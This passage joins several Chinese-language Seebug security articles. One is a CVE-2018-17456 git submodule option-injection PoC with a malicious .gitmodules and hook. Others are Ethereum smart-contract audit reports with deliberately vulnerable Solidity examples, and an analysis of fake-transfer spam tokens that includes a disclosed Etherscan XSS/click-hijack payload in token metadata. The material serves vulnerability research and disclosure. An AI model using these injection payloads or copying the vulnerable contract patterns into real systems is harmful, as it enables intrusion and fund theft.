命令时,将会执行该脚本。1234567891011121314151617181920$ mkdir -p fq/hook$ cat fq/hook/post-checkout<span class="c1">#!/bin/sh</span>date<span class="nb">echo</span> <span class="s1">'PWNED'</span>$ chmod +x fq/hook/post-checkout$ lltotal <span class="m">24</span>drwxrwxr-x <span class="m">5</span> ubuntu ubuntu <span class="m">4096</span> Oct <span class="m">12</span> <span class="m">16</span>:48 ./drwxr-xr-x <span class="m">16</span> ubuntu ubuntu <span class="m">4096</span> Oct <span class="m">12</span> <span class="m">16</span>:48 ../drwxrwxr-x <span class="m">3</span> ubuntu ubuntu <span class="m">4096</span> Oct <span class="m">12</span> <span class="m">16</span>:47 fq/drwxrwxr-x <span class="m">8</span> ubuntu ubuntu <span class="m">4096</span> Oct <span class="m">12</span> <span class="m">15</span>:59 .git/-rw-rw-r-- <span class="m">1</span> ubuntu ubuntu <span class="m">57</span> Oct <span class="m">12</span> <span class="m">16</span>:48 .gitmodulesdrwxrwxr-x <span class="m">2</span> ubuntu ubuntu <span class="m">4096</span> Oct <span class="m">12</span> <span class="m">16</span>:46 test2/$ cat .gitmodules<span class="o">[</span>submodule <span class="s2">"test1"</span><span class="o">]</span><span class="nv">path</span> <span class="o">=</span> test2<span class="nv">url</span> <span class="o">=</span> --template<span class="o">=</span>./fq$ <span class="nv">GIT_TRACE</span><span class="o">=</span><span class="m">1</span> git submodule update --init设置好了PoC,再试一次,发现还是报错失败,主要问题如下:
123git.c:415 trace: built-in: git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/test1 --template=./fq /home/ubuntu/evilrepo/test2fatal: repository '/home/ubuntu/evilrepo/test2' does not existfatal: clone of '--template=./fq' into submodule path '/home/ubuntu/evilrepo/test2' failed来解析下该命令:
1git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/{name} {url} /home/ubuntu/evilrepo/{path}我们把
{url}
设置为参数以后,/home/ubuntu/evilrepo/{path}
就变成源地址了,该地址被判断为本地源目录,所以会查找该目录下的.git
文件,但是之前说了,因为该目录被远程设置为软连接,所以clone到本地不会有其他文件,所以该目录是不可能存在.git
目录的,因此该命令执行失败再来看看是什么命令调用的该命令:
1git.c:415 trace: built-in: git submodule--helper clone --path test2 --name test1 --url --template=./fq解析下该命令:
1git submodule--helper clone --path {path} --name {name} --url {url}path, name, url都是我们可控的,但是都存在过滤,过滤规则同上面说的url白名单过滤规则。
该命令函数 -> [5]
我考虑过很多,path或name设置成
--url=xxxxx
都失败了,因为
--path
和--name
参数之后没有其他数据了,所以--url=xxxx
都会被解析成name或path,这里就缺一个空格,但是如果存在空格,该数据则会被加上单引号,目前想不出bypass的方法所以该命令的利用上毫无进展。。。。
所以关注点又回到了上一个
git clone
命令上:1234git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/{name} {url} /home/ubuntu/evilrepo/{path}strbuf_addf(&sb, "%s/modules/%s", get_git_dir(), name);sm_gitdir = absolute_pathdup(sb.buf);/home/ubuntu/evilrepo/.git/modules/{name}
路径是直接使用上面代码进行拼接,也找不到绕过的方法最后就是
/home/ubuntu/evilrepo/{path}
,如果git能把这个解析成远程地址就好了,所以想了个构造思路:/home/ubuntu/evilrepo/git@github.com:Hcamael/hello-world.git
但是失败了,还是被git解析成本地路径,看了下path的代码:
12345if (!is_absolute_path(path)) {strbuf_addf(&sb, "%s/%s", get_git_work_tree(), path);path = strbuf_detach(&sb, NULL);} elsepath = xstrdup(path);因为
git@github.com:Hcamael/hello-world.git
被判断为非绝对路径,所以在前面加上了当前目录的路径,到这就陷入了死胡同了找不到任何解决办法RCE
在不断的研究后发现,
path=git@github.com:Hcamael/hello-world.git
在低版本的git中竟然执行成功了。首先看图:
使用的是ubuntu 16.04,默认的git是2.7.4,然后查了下该版本git的源码,发现该版本中并没有下面这几行代码
12345if (!is_absolute_path(path)) {strbuf_addf(&sb, "%s/%s", get_git_work_tree(), path);path = strbuf_detach(&sb, NULL);} elsepath = xstrdup(path);所以构造的命令变成了:
1$ git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/test1 --template<span class="o">=</span>./fq git@github.com:Hcamael/hello-world.git之后把我执行成功的结果和@_staaldraad推文中的截图进行对比,发现几乎是一样的,所以猜测这个人复现的git环境也是使用低版本的git
总结
之后翻了下git的提交历史,发现2016年就已经添加了对path是否是绝对路径的判断。根据我的研究结果,CVE-2018-17456漏洞可以造成git选项参数注入,但是只有低版本的git才能根据该CVE造成RCE的效果。
引用
- https://blog.github.com/2018-10-05-git-submodule-vulnerability/
- https://0x48.pw/git/
- https://0x48.pw/git/git/quote.c.html#sq_quote_buf_pretty
- https://staaldraad.github.io/post/2018-06-03-cve-2018-11235-git-rce/
- https://0x48.pw/git/git/builtin/submodule--helper.c.html#module_clone
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/716/
-
以太坊合约审计 CheckList 之“以太坊智能合约编码设计问题”影响分析报告
作者:LoRexxar'@知道创宇404区块链安全研究团队
时间:2018年9月21日系列文章: - 《以太坊合约审计 CheckList 之“以太坊智能合约规范问题”影响分析报告》
- 《以太坊合约审计 CheckList 之“以太坊智能合约设计缺陷问题”影响分析报告》
- 《以太坊合约审计 CheckList 之“以太坊智能合约编码安全问题”影响分析报告》
一、简介
在知道创宇404区块链安全研究团队整理输出的《知道创宇以太坊合约审计CheckList》中,把“地址初始化问题”、“判断函数问题”、“余额判断问题”、“转账函数问题”、“代码外部调用设计问题”、“错误处理”、“弱随机数问题”等问题统一归类为“以太坊智能合约编码设计问题”。
“昊天塔(HaoTian)”是知道创宇404区块链安全研究团队独立开发的用于监控、扫描、分析、审计区块链智能合约安全自动化平台。我们利用该平台针对上述提到的《知道创宇以太坊合约审计CheckList》中“以太坊智能合约编码设计”类问题在全网公开的智能合约代码做了扫描分析。详见下文:
二、漏洞详情
以太坊智能合约是以太坊概念中非常重要的一个概念,以太坊实现了基于solidity语言的以太坊虚拟机(Ethereum Virtual Machine),它允许用户在链上部署智能合约代码,通过智能合约可以完成人们想要的合约。
这次我们提到的编码设计问题就和EVM底层的设计有很大的关系,由于EVM的特性,智能合约有很多与其他语言不同的特性,当开发者没有注意到这些问题时,就容易出现潜在的问题。
1、地址初始化问题
在EVM中,所有与地址有关的初始化时,都会赋予初值0。
如果一个address变量与0相等时,说明该变量可能未初始化或出现了未知的错误。
如果开发者在代码中初始化了某个address变量,但未赋予初值,或用户在发起某种操作时,误操作未赋予address变量,但在下面的代码中需要对这个变量做处理,就可能导致不必要的安全风险。
2、判断函数问题
在智能合约中,有个很重要的校验概念。下面这种问题的出现主要是合约代币的内部交易。
但如果在涉及到关键判断(如余额判断)等影响到交易结果时,当交易发生错误,我们需要对已经执行的交易结果进行回滚,而EVM不会检查交易函数的返回结果。如果我们使用return false,EVM是无法获取到这个错误的,则会导致在之前的文章中提到的假充值问题。
在智能合约中,我们需要抛出这个错误,这样EVM才能获取到错误触发底层的revert指令回滚交易。
而在solidity扮演这一角色的,正是require函数。而有趣的是,在solidity中,还有一个函数叫做assert,和require不同的是,它底层对应的是空指令,EVM执行到这里时就会报错退出,不会触发回滚。
转化到直观的交易来看,如果我们使用assert函数校验时,assert会消耗掉所有剩余的gas。而require会触发回滚操作。
assert在校验方面展现了强一致性,除了对固定变量的检查以外,require更适合这种情况下的使用。
3、余额判断问题
在智能合约中,经常会出现对用户余额的判断,尤其是账户初建时,许多合约都会对以合约创建时余额为0来判断合约的初建状态,这是一种错误的行为。
在智能合约中,永远无法阻止别人向你的强制转账,即使fallback函数throw也不可以。攻击者可以创建带有余额的新合约,然后调用
selfdestruct(victimAddress)
销毁,这样余额就会强制转移给目标,在这个过程中,不会调用目标合约的代码,所以无法从代码层面阻止。值得注意的是,在打包的过程中,攻击者可以通过条件竞争来在合约创建前转账,这样在合约创建时余额就为0了。
4、转账函数问题
在智能合约中,涉及到转账的操作最常见不过了。而在solidity中,提供了两个函数用于转账tranfer/send。
当tranfer/send函数的目标是合约时,会调用合约内的fallback函数。但当fallback函数执行错误时,transfer函数会抛出错误并回滚,而send则会返回false。如果在使用send函数交易时,没有及时做判断,则可能出现转账失败却余额减少的情况。
123456<span class="kd">function</span> <span class="nx">withdraw</span><span class="p">(</span><span class="nx">uint256</span> <span class="nx">_amount</span><span class="p">)</span> <span class="kr">public</span> <span class="p">{</span><span class="nx">require</span><span class="p">(</span><span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]</span> <span class="o">>=</span> <span class="nx">_amount</span><span class="p">);</span><span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]</span> <span class="o">-=</span> <span class="nx">_amount</span><span class="p">;</span><span class="nx">etherLeft</span> <span class="o">-=</span> <span class="nx">_amount</span><span class="p">;</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="nx">_amount</span><span class="p">);</span><span class="p">}</span>上面给出的代码中使用 send() 函数进行转账,因为这里没有验证 send() 返回值,如果msg.sender 为合约账户 fallback() 调用失败,则 send() 返回false,最终导致账户余额减少了,钱却没有拿到。
5、代码外部调用设计问题
在智能合约的设计思路中,有一个很重要的概念为外部调用。或是调用外部合约,又或是调用其它账户。这在智能合约的设计中是个很常见的思路,最常见的便是转账操作,就是典型的外部调用。
但外部调用本身就是一个容易发生错误的操作,谁也不能肯定在和外部合约/用户交互时能确保顺利,举一个合约代币比较常见的例子
1234567891011121314contract auction {address highestBidder;uint highestBid;function bid() payable {if (msg.value < highestBid) throw;if (highestBidder != 0) {if (!highestBidder.send(highestBid)) { // 可能会发生错误throw;}}highestBidder = msg.sender;highestBid = msg.value;}}上述代码当转账发生错误时可能会导致进一步其他的错误,如果碰到循环调用bid函数时,更可能导致循环到中途发生错误,在之前提到的ddos优化问题中,这也是一个很典型的例子。
而这就是一个典型的push操作,指合约主动和外部进行交互,这种情况容易出现问题是难以定位难以弥补,导致潜在的问题。
6、错误处理
智能合约中,有一些涉及到address底层操作的方法
1234address.call()address.callcode()address.delegatecall()address.send()他们都有一个典型的特点,就是遇到错误并不会抛出错误,而是会返回错误并继续执行。
且作为EVM设计的一部分,下面这些函数如果调用的合约不存在,将会返回True。如果合约开发者没有注意到这个问题,那么就有可能出现问题。
1call、delegatecall、callcode、staticcall7、弱随机数问题
智能合约是借助EVM运行,跑在区块链上的合约代码。其最大的特点就是公开和不可篡改性。而如何在合约上生成随机数就成了一个大问题。
Fomo3D合约在空投奖励的随机数生成中就引入了block信息作为随机数种子生成的参数,导致随机数种子只受到合约地址影响,无法做到完全随机。
123456789101112131415161718<span class="kd">function</span> <span class="nx">airdrop</span><span class="p">()</span><span class="kr">private</span><span class="nx">view</span><span class="nx">returns</span><span class="p">(</span><span class="kt">bool</span><span class="p">)</span><span class="p">{</span><span class="nx">uint256</span> <span class="nx">seed</span> <span class="o">=</span> <span class="nx">uint256</span><span class="p">(</span><span class="nx">keccak256</span><span class="p">(</span><span class="nx">abi</span><span class="p">.</span><span class="nx">encodePacked</span><span class="p">(</span><span class="p">(</span><span class="nx">block</span><span class="p">.</span><span class="nx">timestamp</span><span class="p">).</span><span class="nx">add</span><span class="p">(</span><span class="nx">block</span><span class="p">.</span><span class="nx">difficulty</span><span class="p">).</span><span class="nx">add</span><span class="p">((</span><span class="nx">uint256</span><span class="p">(</span><span class="nx">keccak256</span><span class="p">(</span><span class="nx">abi</span><span class="p">.</span><span class="nx">encodePacked</span><span class="p">(</span><span class="nx">block</span><span class="p">.</span><span class="nx">coinbase</span><span class="p">))))</span> <span class="o">/</span> <span class="p">(</span><span class="nx">now</span><span class="p">)).</span><span class="nx">add</span><span class="p">(</span><span class="nx">block</span><span class="p">.</span><span class="nx">gaslimit</span><span class="p">).</span><span class="nx">add</span><span class="p">((</span><span class="nx">uint256</span><span class="p">(</span><span class="nx">keccak256</span><span class="p">(</span><span class="nx">abi</span><span class="p">.</span><span class="nx">encodePacked</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">))))</span> <span class="o">/</span> <span class="p">(</span><span class="nx">now</span><span class="p">)).</span><span class="nx">add</span><span class="p">(</span><span class="nx">block</span><span class="p">.</span><span class="kt">number</span><span class="p">)</span><span class="p">)));</span><span class="k">if</span><span class="p">((</span><span class="nx">seed</span> <span class="o">-</span> <span class="p">((</span><span class="nx">seed</span> <span class="o">/</span> <span class="mi">1000</span><span class="p">)</span> <span class="o">*</span> <span class="mi">1000</span><span class="p">))</span> <span class="o"><</span> <span class="nx">airDropTracker_</span><span class="p">)</span><span class="k">return</span><span class="p">(</span><span class="kc">true</span><span class="p">);</span><span class="k">else</span><span class="k">return</span><span class="p">(</span><span class="kc">false</span><span class="p">);</span><span class="p">}</span>上述这段代码直接导致了Fomo3d薅羊毛事件的诞生。真实世界损失巨大,超过数千eth。
8万笔交易「封死」以太坊网络,只为抢夺Fomo3D大奖? Last Winner
三、漏洞影响范围
使用Haotian平台智能合约审计功能可以准确扫描到该类型问题。
基于Haotian平台智能合约扫描功能规则,我们对全网的公开的共42538个合约代码进行了扫描,其中35107个合约存在地址初始化问题,4262个合约存在判断函数问题,173个合约存在余额判断问题,930个合约存在转账函数问题, 349个合约存在弱随机数问题,2300个合约调用了block.timestamp,过半合约涉及到这类安全风险。
1、地址初始化问题
截止2018年9月21日,我们发现了35107个存在地址初始化问题的合约代码,存在潜在的安全隐患。
2、判断函数问题
截止2018年9月21日,我们发现了4262个存在判断函数问题的合约代码,存在潜在的安全隐患。
3、余额判断问题
截止2018年9月21日,我们发现了173个存在余额判断问题的合约代码,其中165个仍处于交易状态,其中交易量最高的10个合约情况如下:
4、转账函数问题
截止2018年9月21日,我们发现了930个存在转账函数问题的合约代码,其中873个仍处于交易状态,其中交易量最高的10个合约情况如下:
5、弱随机数问题
截止2018年9月21日,我们发现了349个存在弱随机数问题的合约代码,其中272个仍处于交易状态,其中交易量最高的10个合约情况如下:
截止2018年9月21日,我们发现了2300个存在调用了block.timestamp的合约代码,其中2123个仍处于交易状态,其中交易量最高的10个合约情况如下:
四、修复方式
1、地址初始化问题
涉及到地址的函数中,建议加入require(_to!=address(0))验证,有效避免用户误操作或未知错误导致的不必要的损失
2、判断函数问题
对于正常的判断来说,优先使用
require
来判断结果。而对于固定变量的检查,使用assert函数可以避免一些未知的问题,因为他会强制终止合约并使其无效化,在一些固定条件下,assert更适用
3、余额判断问题
不要在合约任何地方假设合约的余额,尤其是不要通过创建时合约为0来判断合约初建状态,攻击者可以使用多种方式强制转账。
4、转账函数问题
在完成交易时,默认推荐使用transfer函数而不是send完成交易。
5、代码外部调用设计问题
对于外部合约优先使用pull而不是push。如上述的转账函数,可以通过赋予提取权限来将主动行为转换为被动行为
1234567891011121314151617181920contract auction {address highestBidder;uint highestBid;mapping(address => uint) refunds;function bid() payable external {if (msg.value < highestBid) throw;if (highestBidder != 0) {refunds[highestBidder] += highestBid; // 记录在refunds中}highestBidder = msg.sender;highestBid = msg.value;}function withdrawRefund() external {uint refund = refunds[msg.sender];refunds[msg.sender] = 0;if (!msg.sender.send(refund)) {refunds[msg.sender] = refund; // 如果转账错误还可以挽回}}}通过构建withdraw来使用户来执行合约将余额取出。
6、错误处理
合约中涉及到call等在address底层操作的方法时,做好合理的错误处理
123if(!someAddress.send(55)) {// Some failure code}包括目标合约不存在时,也同样需要考虑。
7、弱随机数问题
智能合约上随机数生成方式需要更多考量
在合约中关于这样的应用时,考虑更合适的生成方式和合理的利用顺序非常重要。
这里提供一个比较合理的随机数生成方式hash-commit-reveal,即玩家提交行动计划,然后行动计划hash后提交给后端,后端生成相应的hash值,然后生成对应的随机数reveal,返回对应随机数commit。这样,服务端拿不到行动计划,客户端也拿不到随机数。
有一个很棒的实现代码是dice2win的随机数生成代码。
当然hash-commit在一些简单场景下也是不错的实现方式。即玩家提交行动计划的hash,然后生成随机数,然后提交行动计划。
五、一些思考
在探索智能合约最佳实践的过程中,逐渐发现,在智能合约中有很多只有智能合约才会出现的问题,这些问题大多都是因为EVM的特殊性而导致的特殊特性,但开发者并没有对这些特性有所了解,导致很多的潜在安全问题诞生。
我把这一类问题归结为编码设计问题,开发者可以在编码设计阶段注意这些问题,可以避免大多数潜在安全问题。
智能合约审计服务
针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。
知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html
联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)欢迎扫码咨询:区块链行业安全解决方案
黑客通过DDoS攻击、CC攻击、系统漏洞、代码漏洞、业务流程漏洞、API-Key漏洞等进行攻击和入侵,给区块链项目的管理运营团队及用户造成巨大的经济损失。知道创宇十余年安全经验,凭借多重防护+云端大数据技术,为区块链应用提供专属安全解决方案。
欢迎扫码咨询:
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/707/
-
【9.20更新】blockwell.ai KYC Casper Token “牛皮癣广告” 事件分析
作者:知道创宇404区块链安全研究团队
时间:2018/09/13一、背景
2018年9月7日早上1点左右,许多以太坊钱包账户都收到了一种名为
blockwell.ai KYC Casper Token
代币转进/出账消息:令人奇怪的是这些账号均表示之前对这个Token的“一无所知”,当这些收到消息用户并没有真正收到提示的那100个代币,而那些提示有100代币转出的用户在之前也并没有拥有过这种代币,这一切都显得“莫名其妙”!更加让一部分人奇怪和担心的是,这些“转进/出账”的操作,都不需要钱包拥有者的的任何密码私钥输入,于是很多不明真相的用户担心自己的钱包是不是被人恶意攻击 ...
二、事件跟踪
首先我们从
blockwell.ai KYC Casper Token
1https://etherscan.io/token/0x212d95fccdf0366343350f486bda1ceafc0c2d63交易页面,看到的交易记录都是转出100代币的记录,没有任何转入记录。
再看看实际转账到账户的交易信息
1https://etherscan.io/token/0x212d95fccdf0366343350f486bda1ceafc0c2d63?a=0xa3fe2b9c37e5865371e7d64482a3e1a347d03acd可以看到通过调用这个合约,发起了一笔代币转账,在event logs里可以看到实际的交易
然后具体的交易地址为
1https://etherscan.io/tx/0x3230f7326ab739d9055e86778a2fbb9af2591ca44467e40f7cd2c7ba2d7e5d35整笔交易花费了244w的gas,价值2.28美元,有针对的从500个用户转账给了500个用户。
继续跟踪到转账的from地址:
1https://etherscan.io/address/0xeb7a58d6938ed813f04f36a4ea51ebb5854fa545#tokentxns正如文章开头提到的那样:所有的来源账户本身都是不持有这种代币的,跟踪一下也可以发现,无论是发起交易者还是接受交易者,都没有发生实际代币的变化。
但是这些交易记录确实被保存在链上,那么这个事件的核心问题就在于:“这些记录是怎么被产生并记录的?”
三、事件原理
我们从合约分析入手
1https://etherscan.io/address/0x212d95fccdf0366343350f486bda1ceafc0c2d63#code不出所料,这种事件型的合约代码并不会直接给你开放源代码,通过利用我们404自主研发的智能合约OPCODE逆向工具,反编译后得到如下代码:
源码如下
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788contract 0x212D95FcCdF0366343350f486bda1ceAfC0C2d63 {mapping(address => uint256) balances;uint256 public totalSupply;mapping (address => mapping (address => uint256)) allowance;address public owner;string public name;string public symbol;uint8 public decimals;event Approval(address indexed _owner, address indexed _spender, uint256 _value);event Transfer(address indexed _from, address indexed _to, uint256 _value);event OwnershipRenounced(address indexed previousOwner);event TransferOwnership(address indexed old, address indexed new);function approve(address _spender, uint256 _value) public returns (bool success) {allowance[msg.sender][_spender] = _value;Approval(msg.sender, _spender, _value);return true;}function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {// 0x841require(to != address(0));require(balances[_from] >= _value);require(allowance[_from][msg.sender] >= _value);balances[_from] = balances[_from].sub(_value);balances[_to] = balances[_to].add(_value);allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);Transfer(_from, _to, _value);return true;}function decreaseApproval(address _spender, uint256 _subtractedValue) {// 0xc0euint oldValue = allowance[msg.sender][_spender];if (_subtractedValue > oldValue) {allowance[msg.sender][_spender] = 0;} else {allowance[msg.sender][_spender] = oldValue.sub(_subtractedValue);}Approval(msg.sender, _spender, allowance[msg.sender][_spender]);return true;}function balanceOf(address _owner) constant returns (uint256 balance) {// 0xe9freturn balances[_owner];}function renounceOwnership() {// 0xee7require(owner == msg.sender);emit OwnershipRenounced(owner);owner = address(0);}function x_975ef7df(address[] arg0, address[] arg1, uint256 arg2) {require(owner == msg.sender);require(arg0.length > 0, "Address arrays must not be empty");require(arg0.length == arg1.length, "Address arrays must be of equal length");for (i=0; i < arg0.length; i++) {emit Transfer(arg0[i], arg1[i], arg2);}}function transfer(address arg0,uint256 arg1) {require(arg0 != address(0x0));require(balances[msg.sender] > arg1);balances[mag.sender] = balances[msg.sender].sub(arg1);balances[arg0] = balances[arg0].add(arg1);emit Transfer(msg.sender, arg0, arg1)return arg1}function increaseApproval(address arg0,uint256 arg1) {allowance[msg.sender][arg0] = allowance[msg.sender][arg0].add(arg1)emit Approval(msg.sender, arg0, arg1)return true;}function transferOwnership(address arg0) {require(owner == arg0);require(arg0 != adress(0x0));emit TransferOwnership(owner, arg0);owner = arg0;}}从代码中可以很明显的看到一个特殊的函数
x_975ef7df
,这是唯一一个涉及到数组操作,且会触发Tranfser事件的函数。12345678function x_975ef7df(address[] arg0, address[] arg1, uint256 arg2) {require(owner == msg.sender);require(arg0.length > 0, "Address arrays must not be empty");require(arg0.length == arg1.length, "Address arrays must be of equal length");for (i=0; i < arg0.length; i++) {emit Transfer(arg0[i], arg1[i], arg2);}}从代码中可以很清晰的看到, 在对地址列表的循环中,只触发了Transfer事件,没有任何其余的操作。
我们知道遵守以太坊ERC20标准的合约代币才会被承认为ERC20代币,ERC20代币会直接被交易所承认。而 在ERC20标准中规定,transfer函数必须触发Transfer事件,事件会被记录在event log中,是不是说明平台和交易所在获取ERC20代币交易信息,是通过event log事件获取的呢?我们来测试一下。
四、事件复现
首先我们需要编写一个简单的ERC20标准的代币合约
1234567891011121314151617181920212223contract MyTest {mapping(address => uint256) balances;uint256 public totalSupply;mapping (address => mapping (address => uint256)) allowance;address public owner;string public name;string public symbol;uint8 public decimals = 18;event Transfer(address indexed _from, address indexed _to, uint256 _value);function MyTest() {name = "we are ruan mei bi";symbol = "RMB";totalSupply = 100000000000000000000000000000000000;}function mylog(address arg0, address arg1, uint256 arg2) public {Transfer(arg0, arg1, arg2);}}合约代币需要规定好代币的名称等信息,然后我们定义一个mylog函数。
这里我们通过remix进行部署(由于需要交易所获得提示信息,所以我们需要部署在公链上)
测试合约地址
1https://etherscan.io/address/0xd69381aec4efd9599cfce1dc85d1dee9a28bfda2注:这里需要强调的是:转出/入账的地址都是可以自定义的,这也就是为什么所有的来源账户本身都是不持有这种代币的原因。
然后直接发起交易
然后我们的imtoken提示了消息,注意收到的消息了包含了我们的代码里
symbol = "RMB";
的值rmb
回看余额可以发现没有实际转账诞生。
五、事件目的
通过上面分析及测试,我们发现整个事件最后只说了一件事情就是伪照了大量的虚假交易记录,并没有其他“实质”性的恶意操作,那么这个事件的目的是什么呢?
我们回顾下整个事件的流程:
创建一个token ---> 伪造交易记录 ---> 钱包或交易平台获取交易记录 ---> 推送给用户
如果能找到自定义的消息,那么这是一条完美的消息推广链!这个事件的始作俑者非常聪明的利用了
token名
这个自定义输入点:blockwell.ai KYC Casper Token
,blockwell.ai这个就是本次事件的主要目的,牛皮癣小广告推广这个网站。看你有的人会说如果只是用来做广告推广的话,完全可以使用代币的真实转账记录来推广,而不是利用伪造交易记录。这里需要提醒大家的是“广告费”的问题,这个“广告费”也就是合约操作里的gas消耗,伪造交易记录只需要Transfer操作的gas可以大大节省这个“广告费”,本次事件整个过程的话费的“广告费”约2.28美元的gas,就实现了对1000个用户有针对的推送了精准广告。
六、总结
结合以往的各种事件,相比于区块链的各种有限应用场景里,在“恶意”攻击或者利用的层面,攻击者们表现出了惊人的“创意”,本次事件利用了”交易所/平台却盲目信任符合ERC20标准的合约“的特点,使用了以太坊平台本身实现的“bug”,利用了最少的“广告费”实现了精准的用户广告推送。
另外一个值得我们去关注的点就是被用来做消息推送的点是可以自定义的,那么可能导致的风险是非常值得思考的:比如推送钓鱼网站信息,推送其他非法类型的小广告及言论,会导致钱包等平台应用方的用户的其他不可以预期的风险!我们也提醒各大钱包、交易所等平台警惕此类风险,必要时针对这些可自定义点进行相关识别及过滤。
9月20日更新:一个有趣的点击劫持漏洞
在复现上述漏洞的过程中,我们发现了一个有趣的漏洞,在上述合约代币用于做小广告的区域,是很少的一块我们可控的智能合约属性。
那么假设合约展示平台如etherscan等,没有对这里做合理的处理,是不是可能会存在xss等漏洞呢。
经过测试我们发现Etherscan就存在这样的点击劫持漏洞
首先我们先部署以下代码
12345678910111213141516171819202122232425262728293031323334353637pragma solidity ^0.4.24;contract MyTest {mapping(address => uint256) balances;uint256 public totalSupply;mapping (address => mapping (address => uint256)) allowance;address public owner;string public name;string public symbol;uint8 public decimals = 18;event Transfer(address indexed _from, address indexed _to, uint256 _value);function MyTest() {name = "<span class="nt"><a</span> <span class="na">href=</span><span class="s">http://baidu.com</span><span class="nt">></span>12321<span class="nt"></a></span>";symbol = 'ok<span class="nt"><img</span> <span class="na">src=</span><span class="s">/</span> <span class="na">onerror=</span><span class="s">alert(1)</span><span class="nt">></span> ';totalSupply = 100000000000000000000000000000000000;}function mylog(address arg0, address arg1, uint256 arg2) public {Transfer(arg0, arg1, arg2);}}部署后我们我们用合约发起一次交易
然后查看etherscan的页面,在非常重要的进入查看合约信息的地方,成功被设置为其他地址的a标签
当开发者或者用户想要查看合约信息的时候,点击按钮就会跳转到其他地方做进一步利用。
这是一个潜力很大的点击劫持漏洞,攻击者完全可以用这种方式来诱导开发者或用户到错误的合约,甚至伪造的etherscan导致更大的危害。
该漏洞目前已上报etherscan官方并修复。
智能合约审计服务
针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。
知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html
联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)欢迎扫码咨询:区块链行业安全解决方案
黑客通过DDoS攻击、CC攻击、系统漏洞、代码漏洞、业务流程漏洞、API-Key漏洞等进行攻击和入侵,给区块链项目的管理运营团队及用户造成巨大的经济损失。知道创宇十余年安全经验,凭借多重防护+云端大数据技术,为区块链应用提供专属安全解决方案。
欢迎扫码咨询:
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/700/
-
以太坊合约审计 CheckList 之“以太坊智能合约编码安全问题”影响分析报告
作者:LoRexxar'@知道创宇404区块链安全研究团队
时间:2018年9月6日系列文章:一、简介
在知道创宇404区块链安全研究团队整理输出的《知道创宇以太坊合约审计CheckList》中,把“溢出问题”、“重入漏洞”、“权限控制错误”、“重放攻击”等问题统一归类为“以太坊智能合约编码安全问题”。
“昊天塔(HaoTian)”是知道创宇404区块链安全研究团队独立开发的用于监控、扫描、分析、审计区块链智能合约安全自动化平台。我们利用该平台针对上述提到的《知道创宇以太坊合约审计CheckList》中“以太坊智能合约编码安全”类问题在全网公开的智能合约代码做了扫描分析。详见下文:
二、漏洞详情
1、溢出问题
以太坊Solidity设计之初就被定位为图灵完备性语言。在solidity的设计中,支持int/uint变长的有符号或无符号整型。变量支持的步长以8递增,支持从uint8到uint256,以及int8到int256。需要注意的是,uint和int默认代表的是uint256和int256。uint8的数值范围与C中的uchar相同,即取值范围是0到2^8-1,uint256支持的取值范围是0到2^256-1。而当对应变量值超出这个范围时,就会溢出至符号位,导致变量值发生巨大的变化。
(1) 算数溢出
在Solidity智能合约代码中,在余额的检查中如果直接使用了加减乘除没做额外的判断时,就会存在算术溢出隐患
1234567891011contract MyToken {mapping (address => uint) balances;function balanceOf(address _user) returns (uint) { return balances[_user]; }function deposit() payable { balances[msg.sender] += msg.value; }function withdraw(uint _amount) {require(balances[msg.sender] - _amount > 0); // 存在整数溢出msg.sender.transfer(_amount);balances[msg.sender] -= _amount;}}在上述代码中,由于没有校验
_amount
一定会小于balances[msg.sender]
,所以攻击者可以通过传入超大数字导致溢出绕过判断,这样就可以一口气转走巨额代币。2018年4月24日,SMT/BEC合约被恶意攻击者转走了50,659,039,041,325,800,000,000,000,000,000,000,000,000,000,000,000,000,000,000个SMT代币。恶意攻击者就是利用了SMT/BEC合约的整数溢出漏洞导致了这样的结果。
2018年5月19日,以太坊Hexagon合约代币被公开存在整数溢出漏洞。
(2) 铸币烧币溢出问题
作为一个合约代币的智能合约来说,除了有其他合约的功能以外,还需要有铸币和烧币功能。而更特殊的是,这两个函数一般都为乘法或者指数交易,很容易造成溢出问题。
12345678910function TokenERC20(uint256 initialSupply,string tokenName,string tokenSymbol) public {totalSupply = initialSupply * 10 ** uint256(decimals);balanceOf[msg.sender] = totalSupply;name = tokenName;symbol = tokenSymbol;}上述代码未对代币总额做限制,会导致指数算数上溢。
2018年6月21日,Seebug Paper公开了一篇关于整数溢出漏洞的分析文章ERC20 智能合约整数溢出系列漏洞披露,里面提到很多关于指数上溢的漏洞样例。
2、call注入
Solidity作为一种用于编写以太坊智能合约的图灵完备的语言,除了常见语言特性以外,还提供了调用/继承其他合约的功能。在
call
、delegatecall
、callcode
三个函数来实现合约之间相互调用及交互。正是因为这些灵活各种调用,也导致了这些函数被合约开发者“滥用”,甚至“肆无忌惮”提供任意调用“功能”,导致了各种安全漏洞及风险。12345function withdraw(uint _amount) {require(balances[msg.sender] >= _amount);msg.sender.call.value(_amount)();balances[msg.sender] -= _amount;}上述代码就是一个典型的存在call注入问题直接导致重入漏洞的demo。
